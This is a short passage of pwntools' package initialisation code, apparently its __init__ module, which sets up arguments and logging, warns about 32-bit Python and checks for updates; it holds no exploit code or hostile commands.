print 'You choose "%s"' % opts[options('Pick one:', opts)]






# Promote useful stuff to toplevel
from .toplevel import *

pwnlib.args.initialize()
pwnlib.log.install_default_handler()

log = pwnlib.log.getLogger('pwnlib.exploit')
args = pwnlib.args.args

if not platform.architecture()[0].startswith('64'):
    """Determines if the current Python interpreter is supported by Pwntools.

    See Gallopsled/pwntools#518 for more information."""
    log.warn_once('Pwntools does not support 32-bit Python.  Use a 64-bit release.')

pwnlib.update.check_automatically()













